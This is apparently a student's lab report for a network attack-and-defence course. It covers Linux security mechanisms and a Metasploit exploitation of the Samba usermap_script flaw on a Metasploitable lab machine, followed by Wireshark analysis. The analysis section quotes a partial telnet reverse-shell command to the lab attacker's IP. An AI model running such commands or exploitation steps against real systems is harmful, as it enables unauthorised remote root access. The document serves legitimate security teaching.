20199325 2019-2020-2 《网络攻防实践》第八周作业
1.实践内容
1.1学习总结
Linux操作系统基本框架:
Linux有以下的优势:
- 跨平台的硬件支持
- 丰富的软件支持
- 多用户多任务
- 可靠的安全性
- 良好的稳定性
- 完善的网络功能
Linux系统结构:
Linux进程与线程管理机制:
Linux内核采用抢占式多用户多进程模式
Linux的内存管理机制:
Linux的文件系统管理机制:
Linux内核使用了虚拟文件管理VFS机制,从而支持数十种不同类型的逻辑文件系统,包括 ext2/ext3/ext4、vfat、ntfs等。
Linux的设备控制机制:
Linux内核中处理或者管理硬件控制器的软件叫做设备驱动程序。Linux支持三类硬件设备:
字符设备、块设备和网络设备。
Linux的网络机制:
Linux的系统调用机制:
Linux内核通过调用上述五个方面的机制实现操作系统基本硬件管理与系统功能。这些内核模块 都运行在CPU的核心态,而应用程序则运行于用户态。
Linux身份认证机制:
Linux用户包括:(1)ROOT根用户(2)普通用户(3)系统用户
Linux用户组:主要保存在/etc/group文件中,加密口令保存在/etc/gshadow文件中
Linux的本地登录用户认证机制
Linux的远程登录用户认证机制
Linux的统一身份认证中间件——PAM:
- 认证管理:主要是接受用户名和密码,进而对该用户的密码进行认证,并负责设置用户的一些秘密 信息
- 账户管理:主要是检查账户是否被允许登录系统,账号是否已经过期,账号的登录是否有时间限制
- 密码管理:主要是用来修改用户的密码
- 会话管理:主要是提供对会话的管理和审计
Linux安全审计机制:
主要靠三个主要的日志子系统来实现,包括如下:
(1)连接时间日志:由多个程序执行,把记录写入到/var/log/wtmp和/var/run/utmp,login等用户登 录程序负责更新wtmp和utmp文件,使系统管理员能够跟踪谁在何时登录到系统。
(2)进程统计日志:由系统内核执行,当一个进程终止时,为每个进程往进程统计文件中写一个纪录。 进程统计的目的是为系统中的基本服务提供命令使用统计。
(3)错误日志记录:由通用的日志记录服务syslogd(8)执行,各种系统守护进程、用户程序和内核通 过syslog向文件/var/log/messages报告值得注意的事件。
Linux系统远程攻防技术
- 从远程网络入侵Linux系统的主要方法在目前来说,有如下四种:
- 对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真 实有效的用户账户和口令,从而假冒该用户的身份进入系统。
- 发掘Linux系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代 码进行执行,从而为攻击者提供本地shell的访问权。
- 通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用 户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开Linux系统的大门。
- 在Linux系统作为连接多个网络的路由器,或者打开混杂模式实施网络嗅探的监听器时,可能遭受攻击 者特意构造的数据包攻击,从而被攻击者取得访问权。
针对网络服务远程渗透攻击的安全防范措施
- 禁用所有不必要的网络服务
- 尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署
- 及时更新网络服务版本
- 使用xinetd、防火墙为Linux网络服务添加网络访问控制机制
- 建立入侵检测与应急响应计划流程
动手实践:使用Metasploit进行Linux远程渗透攻击:
使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
- 启动Metasploit渗透测试软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一。
- 使用exploit:exploit//multi/samba/usermap_script渗透攻击模块;
- 选择攻击PAYLOAD为远程Shell,
- 设置渗透攻击参数;
- 执行渗透攻击;
- 查看是否正确得到远程Shell,并查看获得的权限。
实践作业:攻防对抗实践:攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机实施网络攻击,防御方则在Metasploitable上使用tcpdump或wireshark或snort工具捕获攻击流,并分析出攻击者利用了哪个安全漏洞进行攻击,从官方网站上下载该安全漏洞补丁进行系统修复,双方合作给出攻防过程报告
攻击方:使用Metasploit,选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步 获得root权限。
防守方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过 程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode,以及成功之后 在本地执行命令输入等信息。
2.实践过程
和之前的博客一样,先进入msfconsole
先查询我们需要使用的usermap_script漏洞,查看具体信息。
查看所有可以使用的payloads,选择我们要使用的载荷
因为还是使用shell远程控制,所以使用18号反向连接。
设置靶机ip地址和攻击机ip地址,运行,看到后面端口号即可确认,攻击成功
通过输入shell命令,可以看到我们已经控制了靶机,可以输入ls命令查看当前目录下所有文件,后面输入whoami可以查看当前用户权限,可以看到我们已经是root权限。说明我们不需要提权了,已经是管理员权限了。
攻击过程如实践一
防守方使用wireshark抓包,可以看到ARP的报文发送广播,验证靶机端口存活性,ARP报文的时间应该就是攻击发起的时间。我们也可以看到攻击机的ip地址和端口分别是192.168.200.3 46349号端口,靶机的ip地址和端口分别是192.168.200.125 139号端口。
这是在攻击机成功获得靶机的控制权后进行的shell命令。
这里可以看到用于攻击的shellcode,nohup sh -c ‘(sleep 4376|telnet 192.168.200.3 4444|while ;do sh && break)等等,
3.学习中遇到的问题及解决
使用nessus进行扫描,扫描出现问题,第一次可以进行扫描,之后的扫描,每次进入都有一些问题,到现在并不能正常使用。
在查找一些15年以后的linux漏洞进行使用,比如在metasploit中,进行search samba的漏洞,有17年的漏洞is_known_pipename,使用不能进行正常渗透。所以有些问题。还有一些漏洞的载荷没有shell命令的载荷。